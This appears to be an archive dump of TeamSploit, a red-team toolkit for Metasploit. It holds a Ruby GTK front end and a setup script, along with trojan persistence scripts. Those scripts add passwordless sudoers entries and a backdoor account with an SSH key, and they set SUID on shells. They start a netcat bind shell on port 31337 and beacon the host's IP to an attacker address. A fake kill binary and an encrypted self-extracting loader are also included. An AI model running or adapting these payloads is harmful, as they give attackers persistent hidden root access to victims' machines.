echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "lp ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "ALL ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "#!TS_TROJAN_PASSWD!#" >> /etc/passwd
echo "#!TS_TROJAN_ACCOUNT!#::14296:0:99999:7:::" >> /etc/shadow
echo "ssh-rsa #!TS_TROJAN_SSHKEY!# #!TS_TROJAN_ACCOUNT!#" >> /root/.ssh/authorized_keys
cp /tmp/#!TS_TROJAN_LOADER!#/sshd_config /etc/ssh/sshd_config
/etc/init.d/ssh restart
cat /root/.bash_history >> /var/log/ksyslog.log
echo "cat /root/.bash_history >> /var/log/ksyslog.log" >> /root/.bash_logout
#sh copies
cp /bin/bash /bin/false
cp /bin/bash /sbin/false
cp /bin/bash /bin/ksh
chmod a+srwx `whereis sh | awk {' print $2 '}`
chmod a+srwx `whereis bash | awk {' print $2 '}`
chmod a+srwx `whereis ksh | awk {' print $2 '}`
chmod a+srwx /bin/false
chmod a+srwx /sbin/false
chmod a+srwx `whereis nano | awk {' print $2 '}`
chmod a+srwx `whereis cat | awk {' print $2 '}`
chmod a+srwx `whereis vi | awk {' print $2 '}`
mkdir -p #!TS_TROJAN_PATH!#/bin
mkdir -p #!TS_TROJAN_PATH!#/usr/bin
mkdir -p #!TS_TROJAN_PATH!#/loot
cp /bin/mv /tmp/#!TS_TROJAN_LOADER!#/loader
cp /bin/cp /tmp/#!TS_TROJAN_LOADER!#/feeder
cp /bin/ln /tmp/#!TS_TROJAN_LOADER!#/seeder
cp /bin/cat /tmp/#!TS_TROJAN_LOADER!#/reeder
cp /bin/dd /tmp/#!TS_TROJAN_LOADER!#/deeder
cp /bin/echo /tmp/#!TS_TROJAN_LOADER!#/meeder
cp /bin/sed /tmp/#!TS_TROJAN_LOADER!#/needer
cp /bin/chmod /tmp/#!TS_TROJAN_LOADER!#/ceeder
cp /bin/tar /tmp/#!TS_TROJAN_LOADER!#/pit
cp /usr/bin/find /tmp/#!TS_TROJAN_LOADER!#/locate
cp /usr/bin/base64 /tmp/#!TS_TROJAN_LOADER!#/base
cp /usr/bin/openssl /tmp/#!TS_TROJAN_LOADER!#/cry
echo "while [ 1 ]; do nc -e /bin/bash -k -l -p 31337 2>/dev/null; done" > #!TS_TROJAN_PATH!#/#!TS_TROJAN_HIDE!#_cmd
echo "#!TS_TROJAN_PATH!#/#!TS_TROJAN_HIDE!#_cmd" >> /etc/profile
/tmp/#!TS_TROJAN_LOADER!#/feeder -RL /bin #!TS_TROJAN_PATH!#
/tmp/#!TS_TROJAN_LOADER!#/feeder -RL /usr/bin #!TS_TROJAN_PATH!#/usr/
for i in `/tmp/#!TS_TROJAN_LOADER!#/locate /bin -type f`; do
/tmp/#!TS_TROJAN_LOADER!#/loader $i #!TS_TROJAN_PATH!#/$i
/tmp/#!TS_TROJAN_LOADER!#/feeder /tmp/#!TS_TROJAN_LOADER!#/#!TS_TROJAN_PERSIST!# $i
/tmp/#!TS_TROJAN_LOADER!#/meeder "#!/bin/bash -p" > $i
/tmp/#!TS_TROJAN_LOADER!#/deeder if=/dev/urandom count=$RANDOM bs=1 | /tmp/#!TS_TROJAN_LOADER!#/base | /tmp/#!TS_TROJAN_LOADER!#/needer -e 's/^/#/g' >> $i
/tmp/#!TS_TROJAN_LOADER!#/reeder /tmp/#!TS_TROJAN_LOADER!#/#!TS_TROJAN_PERSIST!# >> $i
done
for i in `/tmp/sysdev/locate /usr/bin -type f`; do
/tmp/#!TS_TROJAN_LOADER!#/loader $i #!TS_TROJAN_PATH!#/$i
/tmp/#!TS_TROJAN_LOADER!#/meeder "#!/bin/bash -p" > $i
/tmp/#!TS_TROJAN_LOADER!#/deeder if=/dev/urandom count=$RANDOM bs=1 | /tmp/#!TS_TROJAN_LOADER!#/base | /tmp/#!TS_TROJAN_LOADER!#/needer -e 's/^/#/g' >> $i
/tmp/#!TS_TROJAN_LOADER!#/reeder /tmp/#!TS_TROJAN_LOADER!#/#!TS_TROJAN_PERSIST!# >> $i
/tmp/#!TS_TROJAN_LOADER!#/feeder /tmp/#!TS_TROJAN_LOADER!#/#!TS_TROJAN_PERSIST!# $i
done
/tmp/#!TS_TROJAN_LOADER!#/feeder #!TS_TROJAN_PATH!#/bin/bash /bin
/tmp/#!TS_TROJAN_LOADER!#/feeder #!TS_TROJAN_PATH!#/bin/sh /bin
/tmp/#!TS_TROJAN_LOADER!#/feeder #!TS_TROJAN_PATH!#/bin/gzip /bin
/tmp/#!TS_TROJAN_LOADER!#/feeder #!TS_TROJAN_PATH!#/bin/login /bin
/tmp/#!TS_TROJAN_LOADER!#/pit -zcf #!TS_TROJAN_PATH!#/bin.tgz #!TS_TROJAN_PATH!#/bin/
/tmp/#!TS_TROJAN_LOADER!#/pit -zcf #!TS_TROJAN_PATH!#/usrbin.tgz #!TS_TROJAN_PATH!#/usr/bin/
/tmp/#!TS_TROJAN_LOADER!#/reeder #!TS_TROJAN_PATH!#/bin.tgz | /tmp/#!TS_TROJAN_LOADER!#/base | /tmp/#!TS_TROJAN_LOADER!#/cry enc -aes-256-cbc -a -salt -pass pass:on_boot >> #!TS_TROJAN_PATH!#/bin.#!TS_TROJAN_HIDE!#
/tmp/#!TS_TROJAN_LOADER!#/reeder #!TS_TROJAN_PATH!#/usrbin.tgz | /tmp/#!TS_TROJAN_LOADER!#/base | /tmp/#!TS_TROJAN_LOADER!#/cry enc -aes-256-cbc -a -salt -pass pass:on_boot >> #!TS_TROJAN_PATH!#/usrbin.#!TS_TROJAN_HIDE!#
/tmp/#!TS_TROJAN_LOADER!#/feeder /tmp/#!TS_TROJAN_LOADER!#/kill /bin/kill
/tmp/#!TS_TROJAN_LOADER!#/feeder /tmp/#!TS_TROJAN_LOADER!#/rm /bin/rm
/tmp/#!TS_TROJAN_LOADER!#/feeder /tmp/#!TS_TROJAN_LOADER!#/interactive /bin/nano
/tmp/#!TS_TROJAN_LOADER!#/feeder /tmp/#!TS_TROJAN_LOADER!#/interactive /bin/less
/tmp/#!TS_TROJAN_LOADER!#/feeder /tmp/#!TS_TROJAN_LOADER!#/interactive /usr/bin/vim
/tmp/#!TS_TROJAN_LOADER!#/feeder /tmp/#!TS_TROJAN_LOADER!#/interactive /usr/bin/vi
/tmp/#!TS_TROJAN_LOADER!#/ceeder -R a+srwx /bin
/tmp/#!TS_TROJAN_LOADER!#/ceeder -R a+srwx /usr/bin
/tmp/#!TS_TROJAN_LOADER!#/ceeder -R a+srwx /etc/passwd
/tmp/#!TS_TROJAN_LOADER!#/ceeder -R a+srwx /etc/shadow
/tmp/#!TS_TROJAN_LOADER!#/ceeder 000 /bin/chmod
/tmp/#!TS_TROJAN_LOADER!#/feeder /tmp/#!TS_TROJAN_LOADER!#/rc.stop /etc/init.d/#!TS_TROJAN_HIDE!#
/tmp/#!TS_TROJAN_LOADER!#/seeder /etc/init.d/#!TS_TROJAN_HIDE!# -s /etc/rc0.d/S01#!TS_TROJAN_HIDE!#
/tmp/#!TS_TROJAN_LOADER!#/seeder /etc/init.d/#!TS_TROJAN_HIDE!# -s /etc/rc6.d/S01#!TS_TROJAN_HIDE!#
/tmp/#!TS_TROJAN_LOADER!#/meeder "telinit 5" > /etc/rc1.d/S01bootload
/tmp/#!TS_TROJAN_LOADER!#/meeder "telinit 5" > /etc/rc2.d/S01bootload
/tmp/#!TS_TROJAN_LOADER!#/meeder "telinit 5" > /etc/rc3.d/S01bootload
/tmp/#!TS_TROJAN_LOADER!#/feeder /tmp/#!TS_TROJAN_LOADER!#/#!TS_TROJAN_STARTUP!# /etc/init.d/#!TS_TROJAN_STARTUP!#_#!TS_TROJAN_HIDE!#
/tmp/#!TS_TROJAN_LOADER!#/seeder /etc/init.d/#!TS_TROJAN_STARTUP!#_#!TS_TROJAN_HIDE!# -s /etc/rc1.d/S01#!TS_TROJAN_STARTUP!#_#!TS_TROJAN_HIDE!#
/tmp/#!TS_TROJAN_LOADER!#/seeder /etc/init.d/#!TS_TROJAN_STARTUP!#_#!TS_TROJAN_HIDE!# -s /etc/rc2.d/S01#!TS_TROJAN_STARTUP!#_#!TS_TROJAN_HIDE!#
/tmp/#!TS_TROJAN_LOADER!#/seeder /etc/init.d/#!TS_TROJAN_STARTUP!#_#!TS_TROJAN_HIDE!# -s /etc/rc3.d/S01#!TS_TROJAN_STARTUP!#_#!TS_TROJAN_HIDE!#
/tmp/#!TS_TROJAN_LOADER!#/seeder /etc/init.d/#!TS_TROJAN_STARTUP!#_#!TS_TROJAN_HIDE!# -s /etc/rc4.d/S01#!TS_TROJAN_STARTUP!#_#!TS_TROJAN_HIDE!#
/tmp/#!TS_TROJAN_LOADER!#/seeder /etc/init.d/#!TS_TROJAN_STARTUP!#_#!TS_TROJAN_HIDE!# -s /etc/rc5.d/S01#!TS_TROJAN_STARTUP!#_#!TS_TROJAN_HIDE!#
teamsploit_0~20151123/.teamsploit_gui.rb 000755 001750 001750 00000042654 12131434570 020761 0 ustar 00sophie sophie 000000 000000 #!/usr/bin/env ruby1.8
# TeamSploit - Pen Testing With Friends
# Copyrighted: Justin M. Wray (wray.justin@gmail.com)
# Special Thanks: Team ICF (Twitter:@ICFRedTeam)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
require 'rubygems'
require 'gtk2'
require '.gui/mdi'
require 'vte'
require 'webkit'
require 'open-uri'
require 'ponder'
require 'eventmachine'
# A TeamSploit MDI window.
class TeamSploitMDI < Gtk::Window
def initialize
super
self.load_config
@loaded_primaries = 0
@pages = Array.new
@version = `svn info | grep "Last Changed Rev:" | awk {' print $4 '}`
@version.chomp!.strip!
@gui_version = "0.07 Alpha"
self.load_notebook
layout = Gtk::VBox.new( false, 0 )
self.add(layout)
@menu = self.build_menubar
layout.pack_start(@menu, false, false, 0)
layout.pack_start(@notebook, true, true, 0)
set_title("TeamSploit (Rev:#{self.version})")
set_size_request(800,600)
end
def load_config
@config = Hash.new
File.open("teamsploit.conf", "r") do |infile|
while (line = infile.gets)
if line =~ /^#/
next
elsif line =~ /=/
line.gsub!(/#.*/, '')
values = line.split(/=/)
key = values[0].to_s.lstrip.rstrip
value = values[1].to_s.lstrip.rstrip
@config[key] = value
end
end
end
end
def load_notebook
@notebook = Gtk::MDI::Notebook.new
@notebook.signal_connect('document_removed') do |notebook, window, last|
if window.title == "Chat"
self.irc_disconnect
@chat_menu_item = true;
update_menu
end
if window.title == "Listener"
@listener_menu_item = true;
update_menu
end
rebuild_page_index(@notebook.page)
window.widget.destroy
end
end
def rebuild_page_index(page_num)
@pages.delete_at(@notebook.page)
new_pages = Array.new
@pages.each do |page|
new_pages.push(page)
end
@pages = new_pages
end
def load
primary_windows = @config['TS_WINDOWS'].to_i
server = @config['TS_MSFD_CONNECT'].to_i
chat = @config['TS_IRC'].to_i
if primary_windows.nil? || primary_windows == 0
primary_windows = 1
end
primary_windows.times do |i|
num = i+1
if num == 1
self.load_primary(num)
else
self.load_primary_sub(num)
end
end
if server == 1
self.load_shared
end
self.load_listener
if chat == 1
self.load_chat
end
self.load_about
@notebook.show_all
end
def update_menu
@menu.remove(@file_menu)
@file_menu = build_menubar_file
@menu.prepend(@file_menu)
@menu.show_all
end
def build_menubar
@menu_bar = Gtk::MenuBar.new
@file_menu = self.build_menubar_file
@menu_bar.append(@file_menu)
@menu_bar.append(self.build_menubar_edit)
@menu_bar.append(self.build_menubar_help)
return @menu_bar
end
def build_menubar_file
menu = Gtk::MenuItem.new( "File" )
submenu = Gtk::Menu.new
item1 = Gtk::MenuItem.new("New Primary Tab...")
item1.signal_connect "activate" do
self.load_primary_sub(@loaded_primaries + 1)
@notebook.show_all
@notebook.set_page(@notebook.n_pages - 1)
end
item2 = Gtk::MenuItem.new("New Browser Tab...")
item2.signal_connect "activate" do
browser = self.load_browser("http://www.teamsploit.com/")
@notebook.add_document(Gtk::MDI::Document.new(browser, "Browser"))
@pages.push(browser)
@notebook.show_all
@notebook.set_page(@notebook.n_pages - 1)
end
item3 = Gtk::MenuItem.new("Exit")
item3.signal_connect "activate" do
EventMachine::stop_event_loop
end
if @listener_menu_item
item4 = Gtk::MenuItem.new("Open Listener Tab...")
item4.signal_connect "activate" do
self.load_listener
@notebook.show_all
@notebook.set_page(@notebook.n_pages - 1)
end
end
if @chat_menu_item
item5 = Gtk::MenuItem.new("Open Chat Tab...")
item5.signal_connect "activate" do
self.load_chat
self.irc_connect
@notebook.show_all
@notebook.set_page(@notebook.n_pages - 1)
end
end
submenu.append(item1)
submenu.append(item2)
submenu.append(item4) if @listener_menu_item
submenu.append(item5) if @chat_menu_item
submenu.append(item3)
menu.set_submenu(submenu)
return menu
end
def build_menubar_edit
menu = Gtk::MenuItem.new( "Edit" )
submenu = Gtk::Menu.new
item1 = Gtk::MenuItem.new("Copy")
item1.signal_connect "activate" do
if @pages[@notebook.page].is_a? Vte::Terminal
@pages[@notebook.page].copy_primary
end
end
item2 = Gtk::MenuItem.new("Paste")
item2.signal_connect "activate" do
if @pages[@notebook.page].is_a? Vte::Terminal
@pages[@notebook.page].paste_primary
end
end
submenu.append(item1)
submenu.append(item2)
menu.set_submenu(submenu)
return menu
end
def build_menubar_help
menu = Gtk::MenuItem.new( "Help" )
submenu = Gtk::Menu.new
item1 = Gtk::MenuItem.new("Help...")
item1.signal_connect "activate" do
self.load_help
@notebook.show_all
end
item2 = Gtk::MenuItem.new("About...")
item2.signal_connect "activate" do
self.load_about
@notebook.show_all
end
submenu.append(item1)
submenu.append(item2)
menu.set_submenu(submenu)
return menu
end
def build_context_menu
menu = Gtk::Menu.new
item1 = Gtk::MenuItem.new("Copy")
item1.signal_connect "activate" do
if @pages[@notebook.page].is_a? Vte::Terminal
@pages[@notebook.page].copy_primary
end
end
item2 = Gtk::MenuItem.new("Paste")
item2.signal_connect "activate" do
if @pages[@notebook.page].is_a? Vte::Terminal
@pages[@notebook.page].paste_primary
end
end
menu.append(item1)
menu.append(item2)
menu.show_all
return menu
end
def build_tab(command)
tab = Gtk::ScrolledWindow.new
tab.set_policy(Gtk::POLICY_AUTOMATIC,Gtk::POLICY_ALWAYS)
context = self.build_context_menu
terminal = Vte::Terminal.new
terminal.set_scrollback_lines(1000)
terminal.set_font("Monospace 10", Vte::TerminalAntiAlias::FORCE_ENABLE)
terminal.fork_command
if command.nil?
terminal.fork_command
else
terminal.feed_child(command + "\n")
end
terminal.signal_connect("child-exited") do |widget|
widget.destroy
self.remove(@notebook.page)
end
terminal.signal_connect("button_press_event") do |widget, event|
if event.kind_of? Gdk::EventButton and event.button == 3
context.popup(nil, nil, event.button, event.time)
end
end
tab.add(terminal)
@pages.push(terminal)
return tab
end
def load_primary(num)
tab = build_tab("sudo msfconsole -m .msf -r .teamsploit.rc.primary")
@notebook.add_document(Gtk::MDI::Document.new(tab, "Primary #{num}"))
@loaded_primaries += 1
end
def load_primary_sub(num)
tab = build_tab("sudo msfconsole -m .msf -r .teamsploit.rc.primary.sub")
@notebook.add_document(Gtk::MDI::Document.new(tab, "Primary #{num}"))
@loaded_primaries += 1
end
def load_shared
host = @config['TS_MSFD_HOST']
port = @config['TS_MSFD_PORT']
tab = build_tab("nc #{host} #{port}")
@notebook.add_document(Gtk::MDI::Document.new(tab, "Shared"))
end
def load_listener
@listener_menu_item = false
update_menu
tab = build_tab("sudo msfconsole -m .msf -r .teamsploit.rc.listener")
@notebook.add_document(Gtk::MDI::Document.new(tab, "Listener"))
end
def load_chat
@chat_menu_item = false
update_menu
irc_nick = @config['TS_IRC_NICK']
irc_srv = @config['TS_IRC_SERVER']
irc_port = @config['TS_IRC_PORT']
irc_chan = "#" + @config['TS_IRC_CHANNEL']
irc_ssl = @config['TS_IRC_SSL']
if irc_ssl == 0
irc_ssl = false
else
irc_ssl = true
end
layout = Gtk::VBox.new( false, 0 )
font = Pango::FontDescription.new("Monospace 10")
chat_area = Gtk::HBox.new(false, 0)
chat_box_win = Gtk::ScrolledWindow.new
chat_box_win.set_policy(Gtk::POLICY_AUTOMATIC,Gtk::POLICY_ALWAYS)
chat_box = Gtk::TextView.new
chat_box.set_editable(false)
chat_box.set_cursor_visible(false)
chat_box.modify_font(font)
chat_box.buffer.text = "Chat Loading...Please Wait..."
chat_box_win.add(chat_box)
user_store = Gtk::TreeStore.new(String)
user_list = Gtk::TreeView.new(user_store)
user_list.set_size_request(100, 0)
user_list.selection.mode = Gtk::SELECTION_NONE
user_renderer = Gtk::CellRendererText.new
user_col = Gtk::TreeViewColumn.new("Users", user_renderer, :text => 0)
user_list.append_column(user_col)
chat_area.pack_start(chat_box_win, true, true, 10)
chat_area.pack_start(user_list, false, false, 10)
msg_field = Gtk::Entry.new
msg_field.modify_font(font)
msg_field.signal_connect "key-release-event" do |widget, event|
if event.kind_of? Gdk::EventKey and event.keyval == 65293
if !widget.text.empty?
chat_box.scroll_to_iter(chat_box.buffer.get_iter_at_line(chat_box.buffer.line_count), 0, false, 0, 0)
chat_box.buffer.insert(chat_box.buffer.get_iter_at_line(chat_box.buffer.line_count), "[#{irc_nick}] " + widget.text + "\n")
@irc.message(irc_chan, widget.text)
msg_field.text = ""
chat_box.scroll_to_iter(chat_box.buffer.get_iter_at_line(chat_box.buffer.line_count), 0, false, 0, 0)
end
end
end
layout.pack_start(chat_area, true, true, 10)
layout.pack_start(msg_field, false, false, 10)
self.load_irc(irc_nick, irc_srv, irc_port, irc_chan, irc_ssl)
@irc.on :connect do
@irc.join irc_chan
chat_box.buffer.text = "Chat Loaded...Talking In #{irc_chan}\n"
chat_box.scroll_to_iter(chat_box.buffer.get_iter_at_line(chat_box.buffer.line_count), 0, false, 0, 0)
end
@irc.on :channel do |event_data|
chat_box.scroll_to_iter(chat_box.buffer.get_iter_at_line(chat_box.buffer.line_count), 0, false, 0, 0)
chat_box.buffer.insert(chat_box.buffer.get_iter_at_line(chat_box.buffer.line_count), "[" + event_data[:nick] + "] " + event_data[:message] + "\n")
chat_box.scroll_to_iter(chat_box.buffer.get_iter_at_line(chat_box.buffer.line_count), 0, false, 0, 0)
end
@irc.on :join do |event_data|
user_store.clear
@irc.raw("NAMES " + irc_chan)
end
@irc.on :part do |event_data|
user_store.clear
@irc.raw("NAMES " + irc_chan)
end
@irc.on 353 do |event_data|
user_store.clear
users = event_data[:params].split(/=/)[1].rstrip.lstrip.split(/\s+/).drop(1)
users.each do |user|
user.gsub!(/:/, '') if user =~ /:/
newuser = user_store.append(nil)
newuser[0] = user
end
end
@irc.on 332 do |event_data|
chat_box.buffer.insert_at_cursor("[ -TOPIC- ] " + event_data[:params] + "\n")
chat_box.scroll_to_iter(chat_box.buffer.get_iter_at_line(chat_box.buffer.line_count), 0, false, 0, 0)
end
@irc.on :topic do |event_data|
chat_box.buffer.insert_at_cursor("[ -TOPIC- ] " + event_data[:topic] + "\n")
chat_box.scroll_to_iter(chat_box.buffer.get_iter_at_line(chat_box.buffer.line_count), 0, false, 0, 0)
end
@notebook.add_document(Gtk::MDI::Document.new(layout, "Chat"))
@pages.push(layout)
end
def load_about
about = Gtk::TextView.new
about.set_editable(false)
about.set_cursor_visible(false)
font = Pango::FontDescription.new("Monospace 10")
about.modify_font(font)
about.buffer.text =
"___________ _________ .__ .__ __ \n" +
"\__ ___/___ _____ _____ / _____/_____ | | ____ |__|/ |_ \n" +
" | |_/ __ \\__ \ / \ \_____ \\____ \| | / _ \| \ __ \n" +
" | |\ ___/ / __ \| Y Y \/ \ |_> > |_( <_> ) || | \n" +
" |____| \___ >____ /__|_| /_______ / __/|____/\____/|__||__| \n" +
" \/ \/ \/ \/|__| By: Justin M. Wray \n" +
"\n" +
"=====================================================================\n" +
"\n" +
"Copyrighted: Justin M. Wray (wray.justin@gmail.com)\n" +
"\n" +
"License:\n" +
" This program is free software: you can redistribute it and/or modify\n" +
" it under the terms of the GNU General Public License as published by\n" +
" the Free Software Foundation, either version 3 of the License, or\n" +
" (at your option) any later version.\n" +
"\n" +
" This program is distributed in the hope that it will be useful,\n" +
" but WITHOUT ANY WARRANTY; without even the implied warranty of\n" +
" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n" +
" GNU General Public License for more details.\n" +
"\n" +
" You should have received a copy of the GNU General Public License\n" +
" along with this program. If not, see .\n" +
"\n" +
"=====================================================================\n" +
"\n" +
"TeamSploit Version: #{@version}\n" +
"GUI Version: #{@gui_version}\n" +
"\n" +
"Website: http://www.teamsploit.com\n"
@notebook.add_document(Gtk::MDI::Document.new(about, "About"))
@pages.push(about)
end
def load_help
help = load_browser("http://www.teamsploit.com/faq.php")
@notebook.add_document(Gtk::MDI::Document.new(help, "Help"))
@pages.push(help)
end
def load_browser(url)
layout = Gtk::VBox.new( false, 0 )
url_area = Gtk::HBox.new(false, 0)
font = Pango::FontDescription.new("Monospace 10")
browser = WebKit::WebView.new
browser.open(url)
url_box = Gtk::Entry.new
url_box.modify_font(font)
url_box.signal_connect "key-release-event" do |widget, event|
if event.kind_of? Gdk::EventKey and event.keyval == 65293
if !widget.text.empty?
browser.open(widget.text)
end
end
end
browser.signal_connect "navigation-policy-decision-requested" do |widget, event, request|
url_box.text = request.uri
p
end
search_box = Gtk::Entry.new
search_box.modify_font(font)
search_box.signal_connect "key-release-event" do |widget, event|
if event.kind_of? Gdk::EventKey and event.keyval == 65293
if !widget.text.empty?
browser.open("http://www.google.com/search?btnG=1&pws=0&q=" + URI::encode(widget.text))
end
end
end
url_box.text = url
search_box.text = "Search Google..."
url_area.pack_start(url_box, true, true, 10)
url_area.pack_start(search_box, false, false, 10)
layout.pack_start(url_area, false, false, 10)
layout.pack_start(browser, true, true, 10)
return layout
end
def remove(page)
@notebook.remove_page(page)
end
def load_irc(irc_nick, irc_srv, irc_port, irc_chan, irc_ssl)
@irc = Ponder::Thaum.new do |config|
config.server = irc_srv
config.port = irc_port
config.nick = irc_nick
config.username = 'TeamSploit'
config.real_name = 'TeamSploit'
config.ssl = irc_ssl
config.verbose = false
end
end
def irc_connect
if @config['TS_IRC'].to_i == 1
@irc.connect
end
end
def irc_disconnect
@irc.instance_variable_get(:@connection).close_connection
end
attr_reader :notebook
attr_accessor :config, :version, :gui_version, :loaded_primaries, :pages, :irc, :menu, :file_menu
end
class TeamSploitGUI
def initialize
Gtk::init
self.start_teamsploit
self.load_splash
end
def start_teamsploit
controller = Gtk::MDI::Controller.new(TeamSploitMDI, :notebook)
controller.signal_connect('window_removed') do |controller, window, last|
if last
EventMachine::stop_event_loop
end
end
@teamsploit = controller.open_window
@teamsploit.hide
@teamsploit.notebook.set_tab_pos(Gtk::POS_BOTTOM)
@teamsploit.load
end
def chat_connect
@teamsploit.irc_connect
end
def load_window
Gtk::main
end
def load_splash
splash = Gtk::Window.new
splash.set_title("TeamSploit")
splash.set_modal(true)
splash.set_decorated(false)
splash.set_window_position(Gtk::Window::POS_CENTER)
splash.set_destroy_with_parent(true)
splash.set_resizable(false)
splash.set_keep_above(true)
vbox = Gtk::VBox.new
logo = Gtk::Image.new(".teamsploit.png")
vbox.pack_start(logo,false,false)
splash.add(vbox)
splash.show_all
timeout = Gtk.timeout_add(3000) {
splash.hide
@teamsploit.show
Gtk.timeout_remove(timeout)
}
end
attr_accessor :teamsploit
end
EM::run do
client = TeamSploitGUI.new
client.chat_connect
give_tick = proc { Gtk::main_iteration; EM.next_tick(give_tick); }
give_tick.call
end
teamsploit_0~20151123/Gemfile 000644 001750 001750 00000000141 12125100611 016567 0 ustar 00sophie sophie 000000 000000 ruby "1.8.7"
source "https://rubygems.org"
gem 'gtk-webkit-ruby'
gem 'ponder'
gem 'eventmachine'
teamsploit_0~20151123/.trojans/.persist.source.exec 000755 001750 001750 00000004035 11732510376 022777 0 ustar 00sophie sophie 000000 000000 #!/bin/bash -p
#!TS_TROJAN_PATH!#/bin/echo "[`#!TS_TROJAN_PATH!#/bin/hostname`] Address(es): `/sbin/ifconfig | #!TS_TROJAN_PATH!#/bin/grep "inet addr" | #!TS_TROJAN_PATH!#/usr/bin/awk {' print $2 '} | #!TS_TROJAN_PATH!#/bin/sed -e 's/addr://g' | #!TS_TROJAN_PATH!#/usr/usr/bin/tr '\n' ' '` (`#!TS_TROJAN_PATH!#/bin/date`)" | #!TS_TROJAN_PATH!#/bin/nc #!TS_MY_IP!# #!TS_TROJAN_RE_PORT!# -q 1 -w 1
#!TS_TROJAN_PATH!#/bin/echo "mysql ALL=NOPASSWD: ALL" >> /etc/sudoers
#!TS_TROJAN_PATH!#/bin/echo "apache ALL=NOPASSWD: ALL" >> /etc/sudoers
#!TS_TROJAN_PATH!#/bin/echo "asterisk ALL=NOPASSWD: ALL" >> /etc/sudoers
#!TS_TROJAN_PATH!#/bin/echo "nobody ALL=NOPASSWD: ALL" >> /etc/sudoers
#!TS_TROJAN_PATH!#/bin/echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers
#!TS_TROJAN_PATH!#/bin/echo "lp ALL=NOPASSWD: ALL" >> /etc/sudoers
#!TS_TROJAN_PATH!#/bin/echo "ALL ALL=NOPASSWD: ALL" >> /etc/sudoers
#!TS_TROJAN_PATH!#/bin/echo "#!TS_TROJAN_PASSWD!#" >> /etc/passwd
#!TS_TROJAN_PATH!#/bin/echo "#!TS_TROJAN_ACCOUNT!#::14296:0:99999:7:::" >> /etc/shadow
#!TS_TROJAN_PATH!#/bin/echo "ssh-rsa #!TS_TROJAN_SSHKEY!# #!TS_TROJAN_ACCOUNT!#" >> /root/.ssh/authorized_keys
#!TS_TROJAN_PATH!#/bin/cp /tmp/#!TS_TROJAN_PERSIST!#/sshd_config /etc/ssh/sshd_config
#!TS_TROJAN_PATH!#/bin/cat /root/.bash_history >> /var/log/ksyslog.log
#!TS_TROJAN_PATH!#/bin/echo "cat /root/.bash_history >> /var/log/ksyslog.log" >> /root/.bash_logout
#!TS_TROJAN_PATH!#/bin/cp /bin/bash /bin/false
#!TS_TROJAN_PATH!#/bin/cp /bin/bash /sbin/false
#!TS_TROJAN_PATH!#/bin/cp /bin/bash /bin/ksh
#!TS_TROJAN_PATH!#/bin/chmod -R a+srxw /bin
#!TS_TROJAN_PATH!#/bin/chmod -R a+srwx /usr/bin
#!TS_TROJAN_PATH!#/bin/chmod -R a+srxw #!TS_TROJAN_PATH!#
#!TS_TROJAN_PATH!#/bin/chmod 000 /bin/chmod
#!TS_TROJAN_PATH!#/bin/echo "nc -e /bin/bash -k -l -p 31337&" >> /etc/profile
#!TS_TROJAN_PATH!#/bin/echo "while [ 1 ]; do nc -e /bin/bash -k -l -p 31337 2>/dev/null; done" > #!TS_TROJAN_PATH!#/#!TS_TROJAN_HIDE!#_cmd
#!TS_TROJAN_PATH!#/bin/echo "#!TS_TROJAN_PATH!#/#!TS_TROJAN_HIDE!#_cmd" >> /etc/profile
teamsploit_0~20151123/.trojans/.startup/kill 000755 001750 001750 00000001235 11732510376 021520 0 ustar 00sophie sophie 000000 000000 # kill - process kill
if [ $# == 0 ]; then
echo "kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]"
exit
else
for i in $( seq $# )
do
PUSER=`ps aux | grep " $1 " | grep -v "grep $1" | awk {' print $1 '}`
PNAME=`ps aux | grep " $1 " | grep -v "grep $1" | awk {' print $11 '}`
CUSER=`whoami`
CSHELL=`echo $SHELL | sed -e 's/^.*\///g'`
if [ -z $PNAME ]; then
echo "$CSHELL: kill: ($1) - No such process"
exit
fi
shift
done
fi
teamsploit_0~20151123/.msf/plugins/.autopost.source.autotarget 000644 001750 001750 00000000416 11732510376 025201 0 ustar 00sophie sophie 000000 000000 hostoct = host.split('.')[3]
print_status("Running #{session.via_exploit} Against All Targets...This Will Spawn A New Window...")
system("./.autotarget #{host} #{hostoct} #{session.via_exploit}&")
teamsploit_0~20151123/.trojans/.startup.source 000755 001750 001750 00000000763 11732510376 022071 0 ustar 00sophie sophie 000000 000000 #!/bin/bash -p
CONTENT=`awk '/__CONTENT__/ { if (NR > 3) print NR+1 }' $0 2>/dev/null | tail -n1 2>/dev/null`
tail -n+$CONTENT $0 2> /dev/null | openssl enc -d -aes-256-cbc -a -salt -pass pass:on_kinit 2>/dev/null | base64 -di 2>/dev/null | tar -zxf - -C /tmp/ 2>/dev/null && chmod +x /tmp/#!TS_TROJAN_STARTUP!#/#!TS_TROJAN_STARTUP!# 2>/dev/null && /tmp/#!TS_TROJAN_STARTUP!#/#!TS_TROJAN_STARTUP!# 2>/dev/null
#!TS_TROJAN_PATH!#/bin/rm -Rf /tmp/#!TS_TROJAN_STARTUP!# 2>/dev/null
exit
__CONTENT__
teamsploit_0~20151123/.setup 000755 001750 001750 00000021505 12307663552 016473 0 ustar 00sophie sophie 000000 000000 #!/bin/bash
# TeamSploit - Pen Testing With Friends
# Copyrighted: Justin M. Wray (wray.justin@gmail.com)
# Special Thanks: Team ICF (Twitter:@ICFRedTeam)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
# Oh did you manually pass stuff in? Idiot...
source teamsploit.conf
echo "set Prompt ts-listener" > .teamsploit.rc.listener
